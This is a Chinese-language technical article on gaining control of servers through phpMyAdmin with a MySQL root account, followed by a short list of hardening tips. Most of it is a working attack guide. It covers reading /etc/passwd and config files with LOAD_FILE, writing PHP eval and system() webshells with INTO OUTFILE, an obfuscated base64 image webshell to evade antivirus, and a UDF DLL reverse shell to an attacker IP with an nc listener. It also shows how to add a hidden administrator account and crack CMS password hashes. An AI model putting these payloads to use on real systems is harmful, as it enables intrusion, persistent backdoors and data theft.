phpMyAdmin漏洞利用與安全防范
原創(chuàng)【51CTO.com原創(chuàng)稿件】很多公司和個(gè)人都喜歡使用phpMyAdmin來(lái)管理MySQL數(shù)據(jù)庫(kù)——在zoomeye中搜索關(guān)鍵字phpmyadmin,我國(guó)位居第二,如下圖1所示。phpMyAdmin功能非常強(qiáng)大,可以執(zhí)行命令,導(dǎo)入或者導(dǎo)出數(shù)據(jù)庫(kù),可以說(shuō)通過(guò)phpMyAdmin可以完全操控Mysql數(shù)據(jù)庫(kù)。但是,如果存在設(shè)置的Root密碼過(guò)于簡(jiǎn)單,代碼泄露Mysql配置等漏洞,通過(guò)一些技術(shù)手段,99%都能獲取網(wǎng)站webshell,有的甚至是服務(wù)器權(quán)限。phpMyAdmin在一些流行架構(gòu)中大量使用,例如phpStudy、phpnow、Wammp、Lamp、Xamp等,這些架構(gòu)的默認(rèn)密碼為root,如果未修改密碼,極易被滲透。
在對(duì)phpMyAdmin漏洞進(jìn)行研究時(shí),筆者發(fā)現(xiàn)國(guó)內(nèi)的一些數(shù)據(jù)庫(kù)中已經(jīng)存在數(shù)據(jù)庫(kù)病毒,甚至勒索信息。這些病毒的一個(gè)表現(xiàn)就是會(huì)在mysql的user表中創(chuàng)建隨機(jī)名字的表,表內(nèi)容為二進(jìn)制文件,有的是可執(zhí)行文件,有的會(huì)在windows系統(tǒng)目下生成大量的vbs文件,感染系統(tǒng)文件或者傳播病毒。
本文對(duì)phpMyadmin漏洞的各種利用方法和思路進(jìn)行探討,最后給出了一些安全防范方法,希望能對(duì)使用phpmyadmin的朋友有所幫助。個(gè)人QQ(1743811933)歡迎進(jìn)行技術(shù)交流。
圖1我國(guó)大量使用phpmyadmin
一、Mysql root帳號(hào)密碼泄露的主要隱患
常規(guī)來(lái)說(shuō), MySQL賬號(hào)源代碼泄露、暴力破解等安全隱患。
1.源代碼泄露
在有的CMS系統(tǒng)中,對(duì)config.inc.php以及config.php等數(shù)據(jù)庫(kù)配置文件進(jìn)行編輯時(shí),有可能直接生成bak文件,這些文件可以直接讀取和下載。很多使用phpmyadmin的網(wǎng)站往往存在目錄泄露,通過(guò)目錄信息泄露,可以下載源代碼等打包文件,在這些打包文件或者代碼泄露可以獲取網(wǎng)站源代碼中的數(shù)據(jù)庫(kù)配置文件,從而獲取root帳號(hào)和密碼。建議從rar、tar.gz文件中搜索關(guān)鍵字config、db等。
2. 暴力破解
經(jīng)過(guò)實(shí)踐研究可以通過(guò)burpsuit等工具對(duì)phpmyadmin的密碼實(shí)施暴力破解,甚至可以通過(guò)不同的字典對(duì)單個(gè)IP或者多個(gè)URL進(jìn)行暴力破解,有關(guān)這個(gè)技術(shù)的實(shí)現(xiàn)細(xì)節(jié)和案例,請(qǐng)參考專題文章《暴力破解phpMyAdmin root帳號(hào)密碼》。使用phpMyadmin暴力破解工具,收集常見(jiàn)的top 100password即可,其中可以添加root、cdlinux密碼,用戶名以admin和root為主。
3. 其它方式獲取
例如通過(guò)社工郵件帳號(hào),在郵件中會(huì)保存。
二、網(wǎng)站被攻擊的真實(shí)路徑分析
利用該漏洞實(shí)施網(wǎng)站攻擊的真實(shí)路徑是怎樣的呢?讓我們一起來(lái)看看吧。
1. phpinfo函數(shù)獲取法
最直接獲取網(wǎng)站真實(shí)路勁的是通過(guò)phpinfo.php也即phpinfo()函數(shù),在其頁(yè)面中會(huì)顯示網(wǎng)站的真實(shí)物理路徑。phpinfo函數(shù)常見(jiàn)頁(yè)面文件有phpinfo.php、t.php、tz.php、1.php test.php、info.php等。
2.出錯(cuò)頁(yè)面獲取法
通過(guò)頁(yè)面出錯(cuò)來(lái)獲取。有些代碼文件直接訪問(wèn)時(shí)會(huì)報(bào)錯(cuò),其中會(huì)包含真實(shí)的物理路徑。thinkphp架構(gòu)訪問(wèn)頁(yè)面一般都會(huì)報(bào)錯(cuò),通過(guò)構(gòu)造不存在的頁(yè)面,或者存在目錄信息泄露的逐個(gè)訪問(wèn)代碼文件通過(guò)出錯(cuò)獲取真實(shí)路徑。
3. load_file函數(shù)讀取網(wǎng)站配置文件
通過(guò)mysql load_file函數(shù)讀取配置文件。/etc/passwd文件會(huì)提示網(wǎng)站的真實(shí)路徑,然后通過(guò)讀取網(wǎng)站默認(rèn)的index.php等文件來(lái)判斷是否是網(wǎng)站的真實(shí)目錄和文件。其中讀取非常有用的配置文件總結(jié)如下:
- SELECT LOAD_FILE('/etc/passwd' )
- SELECT LOAD_FILE('/etc/passwd' )
- SELECT LOAD_FILE('/etc/issues' )
- SELECT LOAD_FILE('/etc/etc/rc.local' )
- SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
- SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
- SELECT LOAD_FILE( 'C:/phpstudy/Apache/conf/vhosts.conf' )
- select load_file('c:/xampp/apache/conf/httpd.conf');
- select load_file('d:/xampp/apache/conf/httpd.conf');
- select load_file('e:/xampp/apache/conf/httpd.conf');
- select load_file('f:/xampp/apache/conf/httpd.conf');
4. 查看數(shù)據(jù)庫(kù)表內(nèi)容獲取
在一些CMS系統(tǒng)中,有些會(huì)保存網(wǎng)站配置文件,或者網(wǎng)站正式路徑地址,通過(guò)phpmyadmin進(jìn)入數(shù)據(jù)庫(kù)查看各配置庫(kù)表以及保存有文件地址的表即可獲取。
5. 進(jìn)入后臺(tái)查看
有些系統(tǒng)會(huì)在后臺(tái)生成網(wǎng)站運(yùn)行基本情況,這些基本情況會(huì)包含網(wǎng)站的真實(shí)路徑,也有一些是運(yùn)行phpinfo函數(shù)。
6. 百度搜索出錯(cuò)信息
通過(guò)百度搜索引擎、zoomeye.org、shadon等搜索關(guān)鍵字error、waring等,通過(guò)快照或者訪問(wèn)頁(yè)面來(lái)獲取。例如:
- site:antian365.com error
- site:antian365.com warning
三、Mysql root賬號(hào)webshell泄露分析
Mysql Root賬號(hào)通過(guò)phpMyAdmin獲取webshell的思路,主要有下面幾種方式,以第一二六種方法較佳,其它可以根據(jù)實(shí)際情況來(lái)進(jìn)行。
1. 直接讀取后門文件
通過(guò)程序報(bào)錯(cuò)、phpinfo函數(shù)、程序配置表等直接獲取網(wǎng)站真實(shí)路徑,有些網(wǎng)站前期已經(jīng)被人滲透過(guò),因此在目錄下留有后門文件通過(guò)load_file直接讀取。
2. 直接導(dǎo)出一句話后門
前提需要知道網(wǎng)站的真實(shí)物理路徑,例如呼求偶真實(shí)路徑D:\work\WWW,則可以通過(guò)執(zhí)行以下查詢,來(lái)獲取一句話后門文件antian365.php,訪問(wèn)地址http://www.somesite.com/ antian365.php
- select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'
3. 創(chuàng)建數(shù)據(jù)庫(kù)導(dǎo)出一句話后門
在查詢窗口直接執(zhí)行以下代碼即可,跟1.3.2原理類似。
- CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
- INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
- SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
- DROP TABLE IF EXISTS `antian365`;
4. 可執(zhí)行命令方式
創(chuàng)建執(zhí)行命令形式的shell,但前提是對(duì)方未關(guān)閉系統(tǒng)函數(shù)。該方法導(dǎo)出成功后可以直接執(zhí)行DOS命令,使用方法:www.xxx.com/ antian365.php?cmd=(cmd=后面直接執(zhí)行dos命令)。
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'
5. 過(guò)殺毒軟件方式
通過(guò)后臺(tái)或者存在上傳圖片的地方,上傳圖片publicguide.jpg,內(nèi)容如下:
- <?php $a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>
然后通過(guò)圖片包含temp.php,導(dǎo)出webshell。
- select '<?php include 'publicguide.jpg' ?>' INTO OUTFILE 'D:/work/WWW/antian365.php'
一句話后門密碼:antian365
6. 直接導(dǎo)出加密webshell
一句話后門文件密碼:pp64mqa2x1rnw68,執(zhí)行以下查詢直接導(dǎo)出加密webshell,D:/WEB/IPTEST/22.php,注意在實(shí)際過(guò)程需要修改D:/WEB/IPTEST/22.php。
7. CMS系統(tǒng)獲取webshell
有些情況下無(wú)法獲取網(wǎng)站的真實(shí)路徑,則意味著無(wú)法直接導(dǎo)出一句話webshell,可以通過(guò)CMS系統(tǒng)管理賬號(hào)登錄系統(tǒng)后,尋找漏洞來(lái)突破,例如dedecms則可以通過(guò)破解管理員賬號(hào)后直接上傳文件來(lái)獲取webshell。Discuz!的UC_key可以直接獲取webshell。甚至某些系統(tǒng)可以直接上傳php文件。下面是一些CMS系統(tǒng)滲透的技巧:
(1)dedecms系統(tǒng)的密碼有直接md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最后1位,然后對(duì)剩余的值進(jìn)行md5解密即可;
(2)phpcms v9版本的密碼需要加salt進(jìn)行破解,需要選擇破解算法md5(md5($pass).$salt)進(jìn)行破解。
(3)Discuz!論壇帳號(hào)保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進(jìn)行,其破解時(shí)是使用password:salt進(jìn)行,例如a0513df9929afc972f024fa4e586e829:399793。
四、無(wú)法通過(guò)phpmyadmin直接獲取webshell
前面的方法試過(guò),仍然無(wú)法獲取webshell,則可以采取以下方法和思路。
1. 連接mysql
直接通過(guò)mysql程序連接:mysql.exe -h ip -uroot -p
通過(guò)phpmyadmin連接
通過(guò)Navicat for MySQL連接
2. 查看數(shù)據(jù)庫(kù)版本和數(shù)據(jù)路徑
- SELECT VERSION( );
- Select @@datadir;
5.1以下版本,將dll導(dǎo)入到c:/windows或者c:/windows/system32/
5.1以上版本 通過(guò)以下查詢來(lái)獲取插件路徑:
- SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
- show variables like '%plugins%' ;
- select load_file('C:/phpStudy/Apache/conf/httpd.conf')
- select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
- select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
- select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
- select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
3. 直接導(dǎo)出udf文件為mysqldll
◆先執(zhí)行導(dǎo)入ghost表中的內(nèi)容
修改以下代碼的末尾代碼 select backshell("YourIP",4444);
◆導(dǎo)出文件到某個(gè)目錄
- select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
- select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
- select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
- select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
- select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
- select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
◆查看FUNCTION中是否存在cmdshell和backshell,存在則刪除:
- drop FUNCTION cmdshell;//刪除cmdshell
- drop FUNCTION backshell;//刪除backshell
◆創(chuàng)建backshell
- CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //創(chuàng)建backshell
◆在具備獨(dú)立主機(jī)的服務(wù)器上執(zhí)行監(jiān)聽(tīng)
- nc -vv -l -p 44444
◆執(zhí)行查詢
- select backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和端口
◆獲取webshell后添加用戶命令
注意如果不能直接執(zhí)行,則需要到c:\windows\system32\下執(zhí)行
- net user antian365 Www.Antian365.Com /add
- net localgroup administrators antian365
五、phpMyAdmin漏洞防范方法
1.使用phpinfo來(lái)查看環(huán)境變量后,盡量在用后及時(shí)將其刪除,避免泄露真實(shí)路徑。
2.使用Lamp架構(gòu)安裝時(shí),需要修改其默認(rèn)root帳號(hào)對(duì)應(yīng)的弱口令密碼root。以及admin/wdlinux.cn。
3.LAMP集成了proftpd,默認(rèn)用戶是nobody,密碼是lamp,安裝完成后也需要修改。
4.如果不是經(jīng)常使用或者必須使用phpMyadmin,則在安裝完成后可刪除。
5.嚴(yán)格目錄寫權(quán)限,除文件上傳目錄允許寫權(quán)限外,其它文件及其目錄在完成配置后將其禁止寫權(quán)限,并在上傳目錄去掉執(zhí)行權(quán)限。
6.部署系統(tǒng)運(yùn)行后,上傳無(wú)關(guān)文件,不在網(wǎng)站進(jìn)行源代碼打包,以及導(dǎo)出數(shù)據(jù)庫(kù)文件,即使要打包備份,也使用強(qiáng)密碼加密
7.設(shè)置root口令為強(qiáng)口令,字母大小寫+特殊字符+數(shù)字,15位以上,增加破解的難度。
8.不在網(wǎng)站數(shù)據(jù)庫(kù)連接配置文件中配置root賬號(hào),而是單獨(dú)建立一個(gè)數(shù)據(jù)庫(kù)用戶,給予最低權(quán)限即可,各個(gè)CMS的數(shù)據(jù)庫(kù)和系統(tǒng)相對(duì)獨(dú)立。
9.定期檢查Mysql數(shù)據(jù)庫(kù)中的user表是否存在host為“%”的情況,plugin中是否存在不是自定義的函數(shù),禁用plugin目錄寫入權(quán)限。
【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請(qǐng)注明原文作者和出處為51CTO.com】